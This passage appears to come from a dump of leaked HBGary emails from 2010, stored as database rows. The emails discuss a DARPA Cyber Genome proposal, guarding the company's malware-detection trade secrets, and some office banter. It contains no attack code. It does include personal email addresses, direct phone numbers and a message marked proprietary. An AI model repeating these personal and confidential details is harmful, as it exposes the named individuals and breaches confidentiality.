Tue, Mar 2, 2010 at 2:22 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nGreg, \r\n \r\nI have some questions………\r\n \r\nQuestion:  When REcon traces executed code, does it grab ALL USEFUL DATA?  Is there any low level data to grab that we aren&#39;t grabbing yet?  If there is more data to grab, then the proposal must talk about what we grab today and what we still need to work on.\r\n\r\n \r\nQuestion:  What are the gaps in our data recover from RAM analysis and static analysis of binaries pulled from RAM?  Is there useful data in RAM and in binaries that we are not yet harvesting?\r\n \r\nQuestion:  Let’s assume we AFR works and we can get 100% code coverage.  And let’s assume REcon (or similar runtime tool) grabs all low level runtime data and Responder gets all level data from RAM and binaries, then what?  What do we do with this data?  How do we analyze it?  What questions do we need to answer?  How do we display the data?  What pretty pictures?\r\n\r\n \r\nQuestion:  How do we do attribution?  How do we identify the human and organizational threat behind the malware?\r\n \r\n \r\nBob \r\n \r\n\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] Sent: Tuesday, March 02, 2010 4:44 PM\r\nTo: Aaron BarrCc: Bob Slapnik; Ted VeraSubject: Attached DRAFT material for BAA from Greg\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\nI have put together almost 20 pages of material.  I am also attaching the AFR work from 2005 which I reference in several places.  I am also attaching a powerpoint which contains the raw graphics so you can manipulate them if you need to.\r\n\r\n\r\n \r\n\r\nPlease call me with feedback ASAP, I will be in idle mode until I hear from one of you.\r\n\r\n \r\n\r\n-Greg\r\n\r\n \r\n\r\nOn Tue, Mar 2, 2010 at 8:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\ncalling...\r\n\r\n\r\nOn Mar 2, 2010, at 11:22 AM, Greg Hoglund wrote:&gt;&gt; Aaron, Ted,&gt; I am making myself available today, all day, for the BAA work.  This is the only day I have to work on this.  I am currently idle and have nothing to work on.  My precious time is being wasted.  I will go research beowulf clusters until I hear from one of you.\r\n&gt;&gt; -Greg\r\nAaron BarrCEOHBGary Federal Inc.\r\n \r\nNo virus found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/02/10 02:34:00\r\n\r\n',9618,'aaron_hbgary_com/9618.html'),(3409,'2010-03-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001670.M643084P3547Q3409.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: Attached DRAFT material for BAA from Greg','Greg, Great job writing today.Aaron, we sure don&#39;t want to arm other companies with our methods and ideas about DDNA.  Let&#39;s put our heads together in the AM to decide what to show at tomorrow&#39;s tech meeting.  We may identify certain content that we share with just GD -- GD wouldn&#39;t know what to do with it if we spelled it out in source code.  We may choose to withhold certain info from Pikewerks and UC Berkley.  I&#39;m not concerned about Secure Decisions seeing anything since they only do visualization -- and we want them to see Greg&#39;s drawings because they might be able to make improvements or expand the story.\r\nBobOn Tue, Mar 2, 2010 at 6:29 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n \r\nJust to be clear, I have not included any of our current technology in this proposal.  We are, in essence, proposing to rewrite digital DNA again from scratch.  Same for REcon, the system proposed does not use any technology from REcon.  So, your questions about gaps don&#39;t really apply since we would be starting from scratch. Regarding attribution, we aren&#39;t really addressing that since you can&#39;t do that automatically.  Analysts could attempt attribution by using the results of the analysis and such, but attribution is a big word.\r\n\r\n\r\n \r\nI don&#39;t really know how this effects intellectual property.  It makes me nervous to be arming other companies with our methods and ideas regarding digital dna.  \r\n \r\n-Greg\r\nOn Tue, Mar 2, 2010 at 2:22 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nGreg, \r\n \r\nI have some questions………\r\n \r\nQuestion:  When REcon traces executed code, does it grab ALL USEFUL DATA?  Is there any low level data to grab that we aren&#39;t grabbing yet?  If there is more data to grab, then the proposal must talk about what we grab today and what we still need to work on.\r\n\r\n\r\n \r\nQuestion:  What are the gaps in our data recover from RAM analysis and static analysis of binaries pulled from RAM?  Is there useful data in RAM and in binaries that we are not yet harvesting?\r\n \r\nQuestion:  Let’s assume we AFR works and we can get 100% code coverage.  And let’s assume REcon (or similar runtime tool) grabs all low level runtime data and Responder gets all level data from RAM and binaries, then what?  What do we do with this data?  How do we analyze it?  What questions do we need to answer?  How do we display the data?  What pretty pictures?\r\n\r\n\r\n \r\nQuestion:  How do we do attribution?  How do we identify the human and organizational threat behind the malware?\r\n \r\n \r\nBob \r\n \r\n\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] Sent: Tuesday, March 02, 2010 4:44 PM\r\n\r\nTo: Aaron BarrCc: Bob Slapnik; Ted VeraSubject: Attached DRAFT material for BAA from Greg\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\nI have put together almost 20 pages of material.  I am also attaching the AFR work from 2005 which I reference in several places.  I am also attaching a powerpoint which contains the raw graphics so you can manipulate them if you need to.\r\n\r\n\r\n\r\n \r\n\r\nPlease call me with feedback ASAP, I will be in idle mode until I hear from one of you.\r\n\r\n \r\n\r\n-Greg\r\n\r\n \r\n\r\nOn Tue, Mar 2, 2010 at 8:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\ncalling...\r\n\r\n\r\nOn Mar 2, 2010, at 11:22 AM, Greg Hoglund wrote:&gt;&gt; Aaron, Ted,&gt; I am making myself available today, all day, for the BAA work.  This is the only day I have to work on this.  I am currently idle and have nothing to work on.  My precious time is being wasted.  I will go research beowulf clusters until I hear from one of you.\r\n\r\n&gt;&gt; -Greg\r\nAaron BarrCEOHBGary Federal Inc.\r\n \r\nNo virus found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/02/10 02:34:00\r\n\r\n\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',78,'aaron_hbgary_com/78.html'),(3410,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001670.M845242P3547Q3410.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Attached DRAFT material for BAA from Greg','Agreed. &nbsp;Maybe we choose an parallel approach to DDNA for traits analysis and correlation. &nbsp;Something that will allow us to be successful on the project as well as identify new techniques that we could use in the product.We can talk about the general approach, lets see what some of our subs come up with.On Mar 2, 2010, at 6:43 PM, Bob Slapnik wrote:Greg, Great job writing today.Aaron, we sure don\'t want to arm other companies with our methods and ideas about DDNA.&nbsp; Let\'s put our heads together in the AM to decide what to show at tomorrow\'s tech meeting.&nbsp; We may identify certain content that we share with just GD -- GD wouldn\'t know what to do with it if we spelled it out in source code.&nbsp; We may choose to withhold certain info from Pikewerks and UC Berkley.&nbsp; I\'m not concerned about Secure Decisions seeing anything since they only do visualization -- and we want them to see Greg\'s drawings because they might be able to make improvements or expand the story.\r\nBobOn Tue, Mar 2, 2010 at 6:29 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n&nbsp;\r\nJust to be clear, I have not included any of our current technology in this proposal.&nbsp; We are, in essence, proposing to rewrite digital DNA again from scratch.&nbsp; Same for REcon, the system proposed does not use any technology from REcon.&nbsp; So, your questions about gaps don\'t really apply since we would be starting from scratch. Regarding attribution, we aren\'t really addressing that since you can\'t do that automatically.&nbsp; Analysts could attempt attribution by using the results of the analysis and such, but attribution is a big word.\r\n\r\n\r\n&nbsp;\r\nI don\'t really know how this effects intellectual property.&nbsp; It makes me nervous to be arming other companies with our methods and ideas regarding digital dna.&nbsp; \r\n&nbsp;\r\n-Greg\r\nOn Tue, Mar 2, 2010 at 2:22 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\nGreg, &nbsp;I have some questions………&nbsp;Question:&nbsp; When REcon traces executed code, does it grab ALL USEFUL DATA?&nbsp; Is there any low level data to grab that we aren\'t grabbing yet?&nbsp; If there is more data to grab, then the proposal must talk about what we grab today and what we still need to work on.&nbsp;Question:&nbsp; What are the gaps in our data recover from RAM analysis and static analysis of binaries pulled from RAM?&nbsp; Is there useful data in RAM and in binaries that we are not yet harvesting?&nbsp;Question:&nbsp; Let’s assume we AFR works and we can get 100% code coverage.&nbsp; And let’s assume REcon (or similar runtime tool) grabs all low level runtime data and Responder gets all level data from RAM and binaries, then what?&nbsp; What do we do with this data?&nbsp; How do we analyze it?&nbsp; What questions do we need to answer?&nbsp; How do we display the data?&nbsp; What pretty pictures?&nbsp;Question:&nbsp; How do we do attribution?&nbsp; How do we identify the human and organizational threat behind the malware?&nbsp;&nbsp;Bob &nbsp;\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] Sent: Tuesday, March 02, 2010 4:44 PM\r\n\r\nTo: Aaron BarrCc: Bob Slapnik; Ted VeraSubject: Attached DRAFT material for BAA from Greg\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\nI have put together almost 20 pages of material.&nbsp; I am also attaching the AFR work from 2005 which I reference in several places.&nbsp; I am also attaching a powerpoint which contains the raw graphics so you can manipulate them if you need to.\r\n\r\n\r\n&nbsp;\r\nPlease call me with feedback ASAP, I will be in idle mode until I hear from one of you.\r\n&nbsp;\r\n-Greg\r\n&nbsp;\r\nOn Tue, Mar 2, 2010 at 8:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:calling...\r\n\r\nOn Mar 2, 2010, at 11:22 AM, Greg Hoglund wrote:&gt;&gt; Aaron, Ted,&gt; I am making myself available today, all day, for the BAA work. &nbsp;This is the only day I have to work on this. &nbsp;I am currently idle and have nothing to work on. &nbsp;My precious time is being wasted. &nbsp;I will go research beowulf clusters until I hear from one of you.\r\n\r\n&gt;&gt; -GregAaron BarrCEOHBGary Federal Inc.&nbsp;No virus found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/02/10 02:34:00\r\n\r\n\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11729,'aaron_hbgary_com/11729.html'),(3411,'2010-03-03','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001671.M104414P3547Q3411.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,bob@hbgary.com','DARPA BAA and HBGary\'s Intellectual Property',' \r\nTHIS EMAIL IS HBGARY PROPRIETARY\r\nDO NOT DISTRIBUTE\r\n \r\nTeam,\r\n \r\nSo far I have not put anything in the proposal that is a direct copy of Digital DNA, however some of the trait code stuff (the strands stuff) is very close to DDNA.  I tried not to cross over into our IP too much, but I think this is a fools errand.  First, we are basically rebuilding DDNA a second time using different terminology.  Second, DARPA is basically funding our competitors to build DDNA and compete with us.  If we choose, we can just bring our DDNA system to the table.  The problem is that we don&#39;t have the patent yet, and so anyone can steal it from us and just start using it.  It&#39;s trade secret at the moment and the only thing we have to protect it is our teaming agreement.  I know that GD will play ball, but I am not so sure about the other partners.  Also, if we assert our IP rights DARPA isn&#39;t going to like it and it will be a negative.\r\n\r\n \r\nSo, if we bring our IP to the table, here is what we can bring:\r\n \r\n1) Fuzzy Hashing\r\nThere is a patent filed on this.  Our current fuzzy hashes are called &#39;Zcn&#39; and &#39;Zs&#39; - they are not exactly like the patent version however, so even the patent may not protect these specific algorithms (I don&#39;t really know how broad it would apply in this case).  The fuzzy hashing algorithm can be incorporated into the flow tracer, and we can optionally include the linear-sweep disassembler for livebins if we find a place for it.  This would be code that is cut-and-paste from DDNA.EXE, our prized jewel.  These are trade secret and easily stolen if someone knows how they work.  They can be applied to both linux and windows, its not specific to any one thing, its very generic in nature.\r\n\r\n \r\n2) DDNA expression language\r\nThis is not the CIEL thing I put in the proposal, this is the syntax of our digital DNA rules.  Its written into a static library that can be brought in, or re-coded as needed.  The system itself is what we can bring, the code is easily rebuilt since it&#39;s based on flex/bison.  It should be noted that someone could create an alternative language that does much of the same thing and might be able to bypass our patent.  Something like this would have to be done for the DARPA BAA anyways, so if we don&#39;t bring ours in we are going to end up creating an alternative version.\r\n\r\n \r\n3) Our DDNA genome\r\nThis is about 3,000 traits to detect malware.  Not protected in any way other than it&#39;s encrypted when at-rest on disk, and represents trade secret data.  \r\n \r\n4) Our DDNA trait code format\r\nThis is a numerical format for coding traits, includes weight and some other bitwise feaures.  This is part of our patent.  Someone could create an alternative coding system easily and thus bypass our patent however.  Thus, we need to be cautious about someone creating a look-alike system. If we propose this as the basis for encoding knowledge for the BAA, DARPA isn&#39;t going to like it.  They will know that a cleanroom version of the same would be possible to build, and that putting everything in a format we claim IP rights to will essentially hamstring them and all derivative knowledge encoding.\r\n\r\n \r\n5) Discrete Weight Decay algorithm\r\nThis is how we weight the malware score - again its in the patent.\r\n \r\n6) &#39;S&#39; rule algorithm and the Orchid scanner\r\nThis is a super-high-scale string scanner, and is combined with the &#39;S&#39; rule matching in DDNA.  The algorithm for scanning cannot be patented as there is prior art, but we don&#39;t want to spread it around either.\r\n\r\n \r\n7) &#39;I&#39; rule matching\r\nThis is an algorithm that is internally called the &#39;DeepScan&#39; - its code and the linear sweep disassembler together, and works in two stages.  The system is NOT in the patent and like everything else could easily be stolen if someone knew how it worked.  This system is a game changer for DDNA and core to the power of DDNA, so we need to be very careful with it.\r\n\r\n \r\n8) physical memory parsing for windows platforms\r\nI don&#39;t think we need this since the proposal is to use an emulator w/ no windows OS.  But, it&#39;s something we have so if it comes up we have a serious capability here that took seven figures to develop.  And, its trade secret with no patent to protect it.  If someone gets those offset tables, we could see a competitor pop up overnight w/ full windows platform support and we would be screwed.\r\n\r\n \r\nThere is probably some other stuff, but it escapes me at the moment.\r\n \r\n-Greg Hoglund\r\n \r\n \r\n \r\n \r\n \r\n',2465,'aaron_hbgary_com/2465.html'),(3412,'2010-03-03','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297001671.M336474P3547Q3412.eml','\"Barr Aaron\" <aaron@hbgary.com>','Real-world woes shuttering virtual world There | Geek Gestalt - CNET News','http://news.cnet.com/8301-13772_3-10462627-52.html?part=rss&subj=news&tag=2547-1_3-0-20\r\n\r\n\r\n\r\n',7876,'aaron_hbgary_com/7876.html'),(3413,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001671.M634428P3547Q3413.eml','\"mark\" <mark.trynor@gmail.com>,\"mark\" <mark.trynor@gmail.com>','Re: Welcome Aboard!','Agreed.  BTW, did u read the company policies carefully.  I asked Ted to add in your employee agreement a strict pants requirement.  We have high morale and we want to keep it that way.\r\n\r\n\r\nOn Mar 2, 2010, at 8:35 PM, mark wrote:\r\n\r\n> Thanks, this is going to be fun!\r\n> \r\n> Aaron Barr wrote:\r\n>> I am happy that you are our first employee.  Man you got a lot of work to do.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6390,'aaron_hbgary_com/6390.html'),(3414,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001671.M866590P3547Q3414.eml','\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>','Existing Technology for government use','Guys,\r\n\r\nTwo technologies HBGary has received SBIR funding for an developed technologies that we can leverage is the Inspector collaborative analysis suite and the Automated Flow Resolution capability.  These should provide significant discriminators.  Both of which HBGary abandoned from a product perspective because they weren\'t commercially viable but should provide discriminators for the proposal.\r\n\r\nInspector was abandoned because in the end not many software analysts want to do R/E in a collaborative environment.  We won\'t want all the code but the collaboration framework and database architecture should get us up and running very quickly for doing analysis of behavior and functionality and developing new artifacts, maturing correlation techniques, etc.\r\n\r\nAFR I sent information on before.  We have a working prototype but needs a lot of work.\r\n\r\nAlso I talked to Greg and as a rough start we can take our existing traits database and migrate it to our new format.  Greg and team have become much more comfortable with the use of some of HBGary technologies because I think I have been able to explain the separation.  HBGary existing technologies are about improving detection rates.  This is merely a small piece of what DARPA is asking us to do.  We need to develop much more fine grained correlation capabilities in much more subtle ways.  The algorithms we use will be different for the different purposes, our means of mathmatically representing \"traits\" will be different, etc.\r\n \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8637,'aaron_hbgary_com/8637.html'),(3415,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001672.M321366P3547Q3416.eml','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,,,','Re: DARPA Cyber Genome SOW template','Hey Jason,I understand what your saying. &nbsp;Looking forward to technical discussion tomorrow to come to the same point. &nbsp;I think we are saying some of the same things.On Mar 2, 2010, at 5:29 PM, Upchurch, Jason R. wrote:The base technology that UC Berkley has done is geared toward binary analysis; however, that does not mean that it has no value in correlation.&nbsp; For instance, symbolic execution can generate execution trees that can be used for spacial correlation.&nbsp; The same can be said for data flow (data trace analysis).&nbsp; Execution behaviors also place malware into human recognizable groups (worms, bots, etc) that will be invaluable in any human interface to a correlation database.&nbsp;I agree Jason that these capabilities have value to correlation. &nbsp;My only concern/question is generating execution trees is a component of TA3, so are u thinking that we propose in TA1 this activity or assuming its already together and are going to use the data for correlation? &nbsp;I think proposing to do that activity in TA1 is a little risky. &nbsp;Same with Data flow and execution behaviors, all seem TA3 oriented and my thought is for TA1 you assume that data exists and therefore are developing the methodologies for correlation using the behavioral and functional data. &nbsp;Maybe this is wrong thinking. &nbsp;But I don\'t believe&nbsp;You need to have perfect or completely unified data or normalization. &nbsp;You could make some assumption and declarations on the data being analyzed based on the source and validation of the dataset. &nbsp;Maybe that is not feasible, so just a concern or question. &nbsp;I am not stuck on it just questions.As I have said, I realize that task #3 would provide some, possibly all, of this type of information.&nbsp; The key here is that it would be this “type” of information.&nbsp; That does not lend itself to correlation.&nbsp; The research in tech area #1 is producing information that is useful in correlation.&nbsp; That information has to be very specific, predictable, reliable, and consistent across many different pieces of malware.&nbsp; Simply producing the information is not enough, nor is it revolutionary.&nbsp; Producing uniform information in a predictable way, so that correlation becomes possible is the goal.&nbsp;I agree and disagree. &nbsp;That can\'t be the goal, maybe that is not what you meant. &nbsp;The goal is to actually do the analysis that arrives at lineage correlation and attribution. &nbsp;I think we are saying the same thing overall. &nbsp;Each layer of the analysis process produces some intelligence value and the standardization of the collection, processing, and analysis is key to the effort. &nbsp;But in my opinion the focus of TA1, the bulk of the proposal should be on the approach to perform the correlation, not on the data normalization.I don’t believe that having a schema for information is remotely adequate for the task either.&nbsp; Such information would be useful for generic categorization, but not for correlation.&nbsp; Simply knowing malware A and malware B share IRC connectivity, key logging, and rooting make them related in a generic sense, but does not show correlation (that share the same code base), though the information does contribute to correlation.&nbsp;Agree on the schema alone not the answer, but have to have it. &nbsp;The correlations, find a methodology for accurate and perceptive correlations, that seems to me to be the heart of the problem and we need to put some focus on that. &nbsp;Its not the simplistic comparisons that I am talking about, its a particular DLL dependency, a set of functions in a particular order, etc. &nbsp;Its not the code use but the currently unmeasured variables and correlations in total that will define closeness or farness of lineage, lend to provenance. &nbsp;The methodology for determining what is correlatable. &nbsp;A normalized database of disparate data sources still leaves you with the same tough problem.We are developing method for developing signatures (compound signatures really) of functions, internal obfuscation, behaviors, artifacts, and maps that would be useful in correlation.&nbsp; There are several analysis techniques that will have application in both capabilities analysis and correlation; however, the output is not likely to be remotely similar.&nbsp;JasonFrom:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, March 02, 2010 12:56 PMTo:&nbsp;\'Aaron Barr\'; Starr, Christopher H.Cc:&nbsp;\'Ted Vera\'; Upchurch, Jason R.Subject:&nbsp;RE: DARPA Cyber Genome SOW template&nbsp;Aaron,&nbsp;Yes, I see UC Berkley being a better fit for #3 because that work is geared toward binary analysis.&nbsp; I see SRI’s decompilation as being a good fit for #1 because normalization of data is more important for #1 than #3.&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, March 02, 2010 2:40 PMTo:&nbsp;Starr, Christopher H.Cc:&nbsp;Bob Slapnik; Ted Vera; Jason R. UpchurchSubject:&nbsp;Re: DARPA Cyber Genome SOW template&nbsp;The hard part for me right now (I guess chicken and egg problem) is its hard for me to write a 4 year SOW when I am not sure under which framework we are working under. &nbsp;We have ideas using more granularly identified traits as well as other \"hard artifacts\" to do relationship analysis. &nbsp;But I am not sure that is the approach you are going for.&nbsp;As an example. &nbsp;As you develop out your traits and artifact schema (this would be the normalization of the data), we would look for uniqueness or similarities in the traits (which represent the properties and behaviors), if a trait is unique, how unique. &nbsp;It can\'t be an exact match, we have to do some fuzzy analysis to do some percentage of match. &nbsp;Is all the code the same but there is a new variable type, or a word mispelling, etc. &nbsp;Needs to be a tool that can help do the analysis and the marking. &nbsp;So when the analysis is done the analyst can mark as a parent or child, etc.&nbsp;A graphic interface that allows you to visualize a piece of software and its traits with linkages to its lineage, maybe colorcoded or some other visual cue for similarity. &nbsp;So some lines are more closely related than others, so something that is spatially close would be more similar in color, etc.&nbsp;So HBGary and HBGary Federal can handle the trait enumeration and correlation of traits into lineages. &nbsp;We can work with Secure Decisions to develop the approaches to graphically represent this. &nbsp;Secure Decisions will be working on TA3 to develop visualizations for software behaviors in loop and linear software maps.&nbsp;So building of traits and trait correlation. &nbsp;But is this within the right approach?&nbsp;And again I think the benefit of SRI and UCBerkley in de-obsfucation and code execution is more for TA3 than TA1.&nbsp;Aaron&nbsp;&nbsp;On Mar 2, 2010, at 12:43 PM, Starr, Christopher H. wrote:&nbsp;We (internal GD) first have to do the SOW for the teaming agreement, which is a general statement of what we expect everyone to be contributing.&nbsp; We are working on a template for the 4-year Statement of Work.&nbsp;Let’s concentrate on the 4-year Statement of Work content.&nbsp;Chris&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, March 02, 2010 12:30 PMTo:&nbsp;Starr, Christopher H.Subject:&nbsp;RE: DARPA Cyber Genome SOW template&nbsp;Chris,&nbsp;This looks like the SOW for the teaming agreement, not the SOW for the actual work for DARPA.&nbsp; In other words, it is the work HBGary will do between now and March 15.&nbsp; Do I have this correct?&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;From:&nbsp;Starr, Christopher H. [mailto:Chris.Starr@gd-ais.com]&nbsp;Sent:&nbsp;Tuesday, March 02, 2010 12:20 PMTo:&nbsp;Bob Slapnik (HBGary)Subject:&nbsp;FW: DARPA Cyber Genome SOW template&nbsp;Bob, FYI, here is a SOW template.&nbsp; We do want everyone to send an initial draft of their SOWs today.&nbsp; I have sent this to Aaron as well.Chris_____________________________________________From:&nbsp;Corcino, Stefanie E.Subject:&nbsp;DARPA Cyber Genome SOW templateAll,I have created a boilerplate SOW for use on this proposal.&nbsp; Areas in red are where we need to add Company specifics (for each Sub).Please review, let me know if you feel anything should be added, reworded or removed.&nbsp; If you approve as is, please respond with “approve”.I’ll post the&nbsp;final&nbsp;“template” into our sharepoint site as soon as it becomes available.&lt;&lt;DARPA_SOW_TEMPLATE_ATTACHMENT 1.docx&gt;&gt;Regards,Stefanie Corcino, PMPProgram Manager - SubcontractsGeneral Dynamics - Advanced Information Systems1405 N. Fiesta Blvd.Gilbert, AZ. 85233Direct Line: 480.355.7707&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;This email message is for the sole use of the intended recipient\'s) and may contain GDAIS confidential or privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply email and destroy all copies of the original message.No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 03/02/10 02:34:00&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/02/10 02:34:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15087,'aaron_hbgary_com/15087.html'),(3416,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001672.M535784P3547Q3417.eml','\"mark\" <mark.trynor@gmail.com>,\"mark\" <mark.trynor@gmail.com>','Re: Welcome Aboard!','You are so easily led down a path....\r\n\r\n',300,'aaron_hbgary_com/300.html'),(3417,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001672.M63682P3547Q3415.eml','\"mark\" <mark.trynor@gmail.com>,\"mark\" <mark.trynor@gmail.com>','Re: Welcome Aboard!','nothing like having a positive self image...even if its mostly based on fantasy.\r\n\r\nOn Mar 2, 2010, at 9:01 PM, mark wrote:\r\n\r\n> My high \"morale\" keeps my pants up and by \"morale\" I mean ... well you\r\n> get the idea.\r\n> \r\n> Aaron Barr wrote:\r\n>> Agreed.  BTW, did u read the company policies carefully.  I asked Ted to add in your employee agreement a strict pants requirement.  We have high morale and we want to keep it that way.\r\n>> \r\n>> \r\n>> On Mar 2, 2010, at 8:35 PM, mark wrote:\r\n>> \r\n>>> Thanks, this is going to be fun!\r\n>>> \r\n>>> Aaron Barr wrote:\r\n>>>> I am happy that you are our first employee.  Man you got a lot of work to do.\r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',520,'aaron_hbgary_com/520.html'),(3418,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001672.M757924P3547Q3418.eml','\"mark\" <mark.trynor@gmail.com>,\"mark\" <mark.trynor@gmail.com>','Re: Welcome Aboard!','Window licker...\r\n\r\n',3536,'aaron_hbgary_com/3536.html'),(3419,'2010-03-03','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001680.M518362P3547Q3419.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,bob@hbgary.com','More tech that HBGary brings to the table',' \r\nTeam,\r\n \r\nAttached is a document describing Inspector and AFR.  By offering up Inspector as the framework for managing the genome analysis and data, I don&#39;t see how we can lose this.  It&#39;s an existing investment of the government, represents almost 1.5 million dollars of their investment, and would be a perfect starting point for building out the managment and analysis GUI for the genome project.\r\n\r\n \r\nWe should figure out how we can structure the deal so we can use Inspector as the platform.  This would have to be limited to government only, and there are a few components that would need to be sublicensed (dev express, maybe the disassembler - the graphing should be OK since it&#39;s AT&amp;T not yworks).\r\n\r\n \r\n-Greg\r\n',8923,'aaron_hbgary_com/8923.html'),(3420,'2010-03-03','\"Gutierrez, Daniel L (TASC)\" <daniel.gutierrez@TASC.COM>','/aaron@hbgary.com/new/1297001680.M907047P3547Q3420.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Alliant AF OSI RFP Guardian Requirement','Aaron/Ted, did you guys get to the Office of Naval Research industry\r\nday.  Unfortunately (ok wasn\'t that bad) but I already was scheduled to\r\nbe in San Diego.  Still interested in talking about this.\r\n\r\nAlso, we are 